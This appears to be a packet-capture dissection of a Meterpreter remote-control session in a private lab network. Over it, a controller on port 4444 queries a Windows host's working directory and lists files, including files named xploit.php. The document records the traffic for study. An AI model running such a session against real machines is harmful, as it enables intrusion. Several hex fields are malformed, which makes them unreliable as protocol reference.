```
      1 0.000000       192.168.1.42          192.168.1.41          MTRPROT  127    4444 → 50768 [PSH, ACK] Seq=1 Ack=1 Win=87 Len=73
Frame 1: 127 bytes on wire (1016 bits), 127 bytes captured (1016 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 1, Ack: 1, Len: 73
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000049 [Command length]: 73
    Type: 0x00000000 [Command type: Request]: 0
    Data: 00000018000100017374646170695f66735f676574776400... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000018000100017374646170695f66735f6765747764 [TLV]
    Command: 0x00000018 [Length]: 24
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f676574776400 [Value] stdapi_fs_getwd
Meterpreter protocol, TLV details
    Data: 000000290001000238373739373138323939333732393930... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 383737393731383239393337323939303338333131353835... [Value] 87797182993729903831158547600385
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 71 63 e0 40 00 40 06 53 03 c0 a8 01 2a c0 a8   .qc.@.@.S....*..
0020  01 29 11 5c c6 50 2e 7d 12 74 a3 78 9d 57 50 18   .).\.P.}.t.x.WP.
0030  00 57 84 07 00 00 00 00 00 49 00 00 00 00 00 00   .W.......I......
0040  00 18 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  67 65 74 77 64 00 00 00 00 29 00 01 00 02 38 37   getwd....)....87
0060  37 39 37 31 38 32 39 39 33 37 32 39 39 30 33 38   7971829937299038
0070  33 31 31 35 38 35 34 37 36 30 30 33 38 35 00      31158547600385.
```

```
      2 0.000721       192.168.1.41          192.168.1.42          MTRPROT  186    50768 → 4444 [PSH, ACK] Seq=1 Ack=74 Win=2052
Len=132
Frame 2: 186 bytes on wire (1488 bits), 186 bytes captured (1488 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 1, Ack: 74, Len: 132
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000084 [Command length]: 132
    Type: 0x00000001 [Command type: Response]: 1
    Data: 000000180001000173746461706695f66735f676574776400... [Command payload]
Meterpreter protocol, TLV details
    Data: 000000180001000173746461706695f66735f6765747764 [TLV]
    Command: 0x00000018 [Length]: 24
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f676574776400 [Value] stdapi_fs_getwd
Meterpreter protocol, TLV details
    Data: 00000029000100023837373937313832393933373239393930... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 38373739373138323939333732393930333833313135383835... [Value] 87797182993729903831158547600385
Meterpreter protocol, TLV details
    Data: 0000002f000104b0433a5c55736572735c6368656d692d75... [TLV]
    Command: 0x0000002f [Length]: 47
    Type: 0x000104b0 [Type: Response]: TLV_TYPE_DIRECTORY_PATH
    Data: 433a5c55736572735c6368656d692d7573756172696f5c44... [Value] C:\Users\chemi-usuario\Desktop\tfm\php
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 ac 0c 88 40 00 80 06 6a 20 c0 a8 01 29 c0 a8   ....@...j ...)..
0020  01 2a c6 50 11 5c a3 78 9d 57 2e 7d 12 bd 50 18   .*.P.\.x.W.}..P.
0030  08 04 6e 8c 00 00 00 00 00 84 00 00 00 01 00 00   ..n.............
0040  00 18 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  67 65 74 77 64 00 00 00 00 29 00 01 00 02 38 37   getwd....)....87
0060  37 39 37 31 38 32 39 39 33 37 32 39 39 30 33 38   7971829937299038
0070  33 31 31 35 38 35 34 37 36 30 30 33 38 35 00 00   31158547600385..
0080  00 00 2f 00 01 04 b0 43 3a 5c 55 73 65 72 73 5c   ../....C:\Users\
0090  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 5c 44 65   chemi-usuario\De
00a0  73 6b 74 6f 70 5c 74 66 6d 5c 70 68 70 00 00 00   sktop\tfm\php...
00b0  00 0c 00 02 00 04 00 00 00 00                     ..........
```

```
      3 0.103133       192.168.1.42          192.168.1.41          MTRPROT  173    4444 → 50768 [PSH, ACK] Seq=74 Ack=133 Win=90
Len=119
Frame 3: 173 bytes on wire (1384 bits), 173 bytes captured (1384 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 74, Ack: 133, Len: 119
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000077 [Command length]: 119
    Type: 0x00000000 [Command type: Request]: 0
    Data: 000000170001000173746461706 95f66735f737461740000... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001700010001737464617069 5f66735f73746174 [TLV]
    Command: 0x00000017 [Length]: 23
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f7374617400 [Value] stdapi_fs_stat
Meterpreter protocol, TLV details
    Data: 00000029000100023338393930323634383630393736303 7... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 333839393032363438363039373630373837343931393231... [Value] 38990264860976078749192178789091
Meterpreter protocol, TLV details
    Data: 0000002f000104b2433a5c55736572735c6368656d692d75... [TLV]
    Command: 0x0000002f [Length]: 47
    Type: 0x000104b2 [Type: Request]: TLV_TYPE_FILE_PATH
    Data: 433a5c55736572735c6368656d692d7573756172696f5c44... [Value] C:\Users\chemi-usuario\Desktop\tfm\php
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 9f 63 e2 40 00 40 06 52 d3 c0 a8 01 2a c0 a8   ..c.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 12 bd a3 78 9d db 50 18   .).\.P.}...x..P.
0030  00 5a 84 35 00 00 00 00 00 77 00 00 00 00 00 00   .Z.5.....w......
0040  00 17 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  73 74 61 74 00 00 00 00 29 00 01 00 02 33 38 39   stat....)....389
0060  39 30 32 36 34 38 36 30 39 37 36 30 37 38 37 34   9026486097607874
0070  39 31 39 32 31 37 38 37 38 39 30 39 31 00 00 00   9192178789091...
0080  00 2f 00 01 04 b2 43 3a 5c 55 73 65 72 73 5c 63   ./....C:\Users\c
0090  68 65 6d 69 2d 75 73 75 61 72 69 6f 5c 44 65 73   hemi-usuario\Des
00a0  6b 74 6f 70 5c 74 66 6d 5c 70 68 70 00            ktop\tfm\php.
```

```
      4 0.105086       192.168.1.41          192.168.1.42          MTRPROT  190    50768 → 4444 [PSH, ACK] Seq=133 Ack=193 Win=2052
Len=136
Frame 4: 190 bytes on wire (1520 bits), 190 bytes captured (1520 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 133, Ack: 193, Len: 136
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000088 [Command length]: 136
    Type: 0x00000001 [Command type: Response]: 1
    Data: 00000017000100017374646170695f66735f737461740000... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000017000100017374646170695f66735f73746174 [TLV]
    Command: 0x00000017 [Length]: 23
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f7374617400 [Value] stdapi_fs_stat
Meterpreter protocol, TLV details
    Data: 000000290001000233383939303236343836303937363037... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 333839393032363438363039373630373837343931393231... [Value] 38990264860976078749192178789091
Meterpreter protocol, TLV details
    Data: 00000034800004c4020000000000ff410100000000000000... [TLV]
    Command: 0x00000034 [Length]: 52
    Type: 0x800004c4 [Type: Response]: TLV_TYPE_STAT_BUF
    Data: 020000000000ff41010000000000000000020000000000000... [Value] ⍰�A⍰⍰�ڗW�ڗW��zW��������
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 b0 0c 89 40 00 80 06 6a 1b c0 a8 01 29 c0 a8   ....@...j....)..
0020  01 2a c6 50 11 5c a3 78 9d db 2e 7d 13 34 50 18   .*.P.\.x...}.4P.
0030  08 04 dc 51 00 00 00 00 00 88 00 00 00 01 00 00   ...Q............
0040  00 17 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  73 74 61 74 00 00 00 00 29 00 01 00 02 33 38 39   stat....)....389
0060  39 30 32 36 34 38 36 30 39 37 36 30 37 38 37 34   9026486097607874
0070  39 31 39 32 31 37 38 37 38 39 30 39 31 00 00 00   9192178789091...
0080  00 34 80 00 04 c4 02 00 00 00 00 00 ff 41 01 00   .4...........A..
0090  00 00 00 00 00 00 02 00 00 00 00 00 00 00 a5 da   ................
00a0  97 57 a5 da 97 57 f0 ac 7a 57 ff ff ff ff ff ff   .W...W..zW......
00b0  ff ff 00 00 00 0c 00 02 00 04 00 00 00 00         ..............
```

```
      5 0.213903       192.168.1.42          192.168.1.41          MTRPROT  171    4444 → 50768 [PSH, ACK] Seq=193 Ack=269 Win=93
Len=117
Frame 5: 171 bytes on wire (1368 bits), 171 bytes captured (1368 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 193, Ack: 269, Len: 117
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000075 [Command length]: 117
    Type: 0x00000000 [Command type: Request]: 0
    Data: 00000015000100017374646170695f66735f6c7300000000... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000015000100017374646170695f66735f6c73 [TLV]
    Command: 0x00000015 [Length]: 21
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f6c7300 [Value] stdapi_fs_ls
Meterpreter protocol, TLV details
    Data: 000000290001000237313931303434353939303835333132... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 373139313034343539393038353331323739353238383639... [Value] 71910445990853127952886958710289
Meterpreter protocol, TLV details
    Data: 0000002f000104b0433a5c55736572735c6368656d692d75... [TLV]
    Command: 0x0000002f [Length]: 47
    Type: 0x000104b0 [Type: Request]: TLV_TYPE_DIRECTORY_PATH
    Data: 433a5c55736572735c6368656d692d7573756172696f5c44... [Value] C:\Users\chemi-usuario\Desktop\tfm\php
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 9d 63 e4 40 00 40 06 52 d3 c0 a8 01 2a c0 a8   ..c.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 13 34 a3 78 9e 63 50 18   .).\.P.}.4.x.cP.
0030  00 5d 84 33 00 00 00 00 00 75 00 00 00 00 00 00   .].3.....u......
0040  00 15 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  6c 73 00 00 00 00 29 00 01 00 02 37 31 39 31 30   ls....)....71910
0060  34 34 35 39 39 30 38 35 33 31 32 37 39 35 32 38   4459908531279528
0070  38 36 39 35 38 37 31 30 32 38 39 00 00 00 00 2f   86958710289..../
0080  00 01 04 b0 43 3a 5c 55 73 65 72 73 5c 63 68 65   ....C:\Users\che
0090  6d 69 2d 75 73 75 61 72 69 6f 5c 44 65 73 6b 74   mi-usuario\Deskt
00a0  6f 70 5c 74 66 6d 5c 70 68 70 00                  op\tfm\php.
```

```
      6 0.215840       192.168.1.41          192.168.1.42          MTRPROT  644    50768 → 4444 [PSH, ACK] Seq=269 Ack=310 Win=2051
Len=590
Frame 6: 644 bytes on wire (5152 bits), 644 bytes captured (5152 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 269, Ack: 310, Len: 590
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000024e [Command length]: 590
    Type: 0x00000001 [Command type: Response]: 1
    Data: 00000015000100017374646170695f66735f6c7300000000... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000015000100017374646170695f66735f6c73 [TLV]
    Command: 0x00000015 [Length]: 21
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f6c7300 [Value] stdapi_fs_ls
Meterpreter protocol, TLV details
    Data: 00000029000100023731393130343435393930383533313132... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 37313931303434353939303835333132373935323838363939... [Value] 71910445990853127952886958710289
Meterpreter protocol, TLV details
    Data: 0000000e000104b1612e706466 [TLV]
    Command: 0x0000000e [Length]: 14
    Type: 0x000104b1 [Type: Response]: TLV_TYPE_FILE_NAME
    Data: 612e70646600 [Value] a.pdf
Meterpreter protocol, TLV details
    Data: 00000035000104b2433a5c55736572735c6368656d692d75... [TLV]
    Command: 0x00000035 [Length]: 53
    Type: 0x000104b2 [Type: Response]: TLV_TYPE_FILE_PATH
    Data: 433a5c55736572735c6368656d692d7573756172696f5c44... [Value] C:\Users\chemi-usuario\Desktop\tfm\php\a.pdf
Meterpreter protocol, TLV details
    Data: 00000034800004c4020000000000b681010000000000000000... [TLV]
    Command: 0x00000034 [Length]: 52
    Type: 0x800004c4 [Type: Response]: TLV_TYPE_STAT_BUF
    Data: 020000000000b68101000000000000000002000000f821ac00... [Value] ⍰��⍰⍰�!��ژW�ژW�ژW��������
Meterpreter protocol, TLV details
    Data: 00000010000104b16367692d62696e [TLV]
    Command: 0x00000010 [Length]: 16
    Type: 0x000104b1 [Type: Response]: TLV_TYPE_FILE_NAME
    Data: 6367692d62696e00 [Value] cgi-bin
Meterpreter protocol, TLV details
    Data: 00000037000104b2433a5c55736572735c6368656d692d75... [TLV]
    Command: 0x00000037 [Length]: 55
    Type: 0x000104b2 [Type: Response]: TLV_TYPE_FILE_PATH
    Data: 433a5c55736572735c6368656d692d7573756172696f5c44... [Value] C:\Users\chemi-usuario\Desktop\tfm\php\cgi-bin
Meterpreter protocol, TLV details
    Data: 00000034800004c4020000000000ff41010000000000000000... [TLV]
    Command: 0x00000034 [Length]: 52
    Type: 0x800004c4 [Type: Response]: TLV_TYPE_STAT_BUF
    Data: 020000000000ff410100000000000000000200000000000000... [Value] ⍰�A⍰⍰"�zW"�zW"�zW��������
Meterpreter protocol, TLV details
    Data: 00000013000104b178706c6f69742e706870 [TLV]
    Command: 0x00000013 [Length]: 19
    Type: 0x000104b1 [Type: Response]: TLV_TYPE_FILE_NAME
    Data: 78706c6f69742e70687000 [Value] xploit.php
Meterpreter protocol, TLV details
    Data: 0000003a000104b2433a5c55736572735c6368656d692d75... [TLV]
    Command: 0x0000003a [Length]: 58
    Type: 0x000104b2 [Type: Response]: TLV_TYPE_FILE_PATH
    Data: 433a5c55736572735c6368656d692d7573756172696f5c44... [Value] C:\Users\chemi-usuario\Desktop\tfm\php\xploit.php
Meterpreter protocol, TLV details
    Data: 00000034800004c4020000000000b681010000000000000000... [TLV]
    Command: 0x00000034 [Length]: 52
    Type: 0x800004c4 [Type: Response]: TLV_TYPE_STAT_BUF
    Data: 020000000000b68101000000000000000002000000b6030000... [Value] ⍰��⍰⍰�⍰ʬzWt<�WʬzW��������
Meterpreter protocol, TLV details
    Data: 00000017000104b178706c6f69745f7068702e706870 [TLV]
    Command: 0x00000017 [Length]: 23
    Type: 0x000104b1 [Type: Response]: TLV_TYPE_FILE_NAME
    Data: 78706c6f69745f7068702e70687000 [Value] xploit_php.php
Meterpreter protocol, TLV details
    Data: 0000003e000104b2433a5c55736572735c6368656d692d75... [TLV]
    Command: 0x0000003e [Length]: 62
    Type: 0x000104b2 [Type: Response]: TLV_TYPE_FILE_PATH
    Data: 433a5c55736572735c6368656d692d7573756172696f5c44... [Value] C:\Users\chemi-usuario\Desktop\tfm\php\xploit_php.php
Meterpreter protocol, TLV details
    Data: 00000034800004c4020000000000b681010000000000000000... [TLV]
    Command: 0x00000034 [Length]: 52
    Type: 0x800004c4 [Type: Response]: TLV_TYPE_STAT_BUF
    Data: 020000000000b68101000000000000000002000000b4030000... [Value] ⍰��⍰⍰�⍰eꭓWj_�WeꭓW��������
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  02 76 0c 8a 40 00 80 06 68 54 c0 a8 01 29 c0 a8   .v..@...hT...)..
0020  01 2a c6 50 11 5c a3 78 9e 63 2e 7d 13 a9 50 18   .*.P.\.x.c.}..P.
0030  08 03 48 59 00 00 00 00 02 4e 00 00 00 01 00 00   ..HY.....N......
0040  00 15 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  6c 73 00 00 00 00 29 00 01 00 02 37 31 39 31 30   ls....)....71910
0060  34 34 35 39 39 30 38 35 33 31 32 37 39 35 32 38   4459908531279528
0070  38 36 39 35 38 37 31 30 32 38 39 00 00 00 00 0e   86958710289.....
0080  00 01 04 b1 61 2e 70 64 66 00 00 00 00 35 00 01   ....a.pdf....5..
0090  04 b2 43 3a 5c 55 73 65 72 73 5c 63 68 65 6d 69   ..C:\Users\chemi
00a0  2d 75 73 75 61 72 69 6f 5c 44 65 73 6b 74 6f 70   -usuario\Desktop
00b0  5c 74 66 6d 5c 70 68 70 5c 61 2e 70 64 66 00 00   \tfm\php\a.pdf..
00c0  00 00 34 80 00 04 c4 02 00 00 00 00 00 b6 81 01   ..4.............
00d0  00 00 00 00 00 00 00 02 00 00 00 f8 21 ac 00 a5   ............!...
00e0  da 97 57 a9 da 97 57 a5 da 97 57 ff ff ff ff ff   ..W...W...W.....
00f0  ff ff ff 00 00 00 10 00 01 04 b1 63 67 69 2d 62   ...........cgi-b
0100  69 6e 00 00 00 00 37 00 01 04 b2 43 3a 5c 55 73   in....7....C:\Us
0110  65 72 73 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   ers\chemi-usuari
0120  6f 5c 44 65 73 6b 74 6f 70 5c 74 66 6d 5c 70 68   o\Desktop\tfm\ph
0130  70 5c 63 67 69 2d 62 69 6e 00 00 00 00 34 80 00   p\cgi-bin....4..
0140  04 c4 02 00 00 00 00 00 ff 41 01 00 00 00 00 00   .........A......
0150  00 00 02 00 00 00 00 00 00 00 22 ad 7a 57 22 ad   ..........".zW".
0160  7a 57 22 ad 7a 57 ff ff ff ff ff ff ff ff 00 00   zW".zW..........
0170  00 13 00 01 04 b1 78 70 6c 6f 69 74 2e 70 68 70   ......xploit.php
0180  00 00 00 00 3a 00 01 04 b2 43 3a 5c 55 73 65 72   ....:....C:\User
0190  73 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 5c   s\chemi-usuario\
01a0  44 65 73 6b 74 6f 70 5c 74 66 6d 5c 70 68 70 5c   Desktop\tfm\php\
01b0  78 70 6c 6f 69 74 2e 70 68 70 00 00 00 00 34 80   xploit.php....4.
01c0  00 04 c4 02 00 00 00 00 00 b6 81 01 00 00 00 00   ................
01d0  00 00 00 02 00 00 00 b6 03 00 00 ca ac 7a 57 74   .............zWt
01e0  3c af 57 ca ac 7a 57 ff ff ff ff ff ff ff ff 00   <.W..zW.........
01f0  00 00 17 00 01 04 b1 78 70 6c 6f 69 74 5f 70 68   .......xploit_ph
0200  70 2e 70 68 70 00 00 00 00 3e 00 01 04 b2 43 3a   p.php....>....C:
0210  5c 55 73 65 72 73 5c 63 68 65 6d 69 2d 75 73 75   \Users\chemi-usu
0220  61 72 69 6f 5c 44 65 73 6b 74 6f 70 5c 74 66 6d   ario\Desktop\tfm
0230  5c 70 68 70 5c 78 70 6c 6f 69 74 5f 70 68 70 2e   \php\xploit_php.
0240  70 68 70 00 00 00 00 34 80 00 04 c4 02 00 00 00   php....4........
0250  00 00 b6 81 01 00 00 00 00 00 00 00 02 00 00 00   ................
0260  b4 03 00 00 65 d4 97 57 6a 5f c5 57 65 d4 97 57   ....e..Wj_.We..W
0270  ff ff ff ff ff ff ff ff 00 00 00 0c 00 02 00 04   ................
0280  00 00 00 00                                       ....
```

```
      7 60.549673      192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=310 Ack=859 Win=96
Len=86
Frame 7: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 310, Ack: 859, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 000000290001000234383732393837363831343536353135... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 34383732393837363831343536353135353336363536323238... [Value] 48729876814565155366562824080884
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 63 e6 40 00 40 06 52 f0 c0 a8 01 2a c0 a8   .~c.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 13 a9 a3 78 a0 b1 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 34   el_eof....)....4
0060  38 37 32 39 38 37 36 38 31 34 35 36 35 31 35 35   8729876814565155
0070  33 36 36 35 36 32 38 32 34 30 38 30 38 38 34 00   366562824080884.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
      8 60.550325      192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=859 Ack=396 Win=2051
Len=86
Frame 8: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 859, Ack: 396, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002343837323938373638313435363535135... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3438373239383736383134353635313535333636353632383... [Value] 48729876814565155366562824080884
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c 8b 40 00 80 06 6a 4b c0 a8 01 29 c0 a8   .~..@...jK...)..
0020  01 2a c6 50 11 5c a3 78 a0 b1 2e 7d 13 ff 50 18   .*.P.\.x...}..P.
0030  08 03 fe 69 00 00 00 00 00 56 00 00 00 01 00 00   ...i.....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 34   el_eof....)....4
0060  38 37 32 39 38 37 36 38 31 34 35 36 35 31 35 35   8729876814565155
0070  33 36 36 35 36 32 38 32 34 30 38 30 38 38 34 00   366562824080884.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
      9 120.891260     192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=396 Ack=945 Win=96
Len=86
Frame 9: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 396, Ack: 945, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002343030393138363335373434353937335... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 343030393138363335373434353937353033373034393536... [Value] 40091863574459750370495652487277
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 63 e8 40 00 40 06 52 ee c0 a8 01 2a c0 a8   .~c.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 13 ff a3 78 a1 07 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 34   el_eof....)....4
0060  30 30 39 31 38 36 33 35 37 34 34 35 39 37 35 30   0091863574459750
0070  33 37 30 34 39 35 36 35 32 34 38 37 32 37 37 00   370495652487277.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     10 120.891864     192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=945 Ack=482 Win=2051
Len=86
Frame 10: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
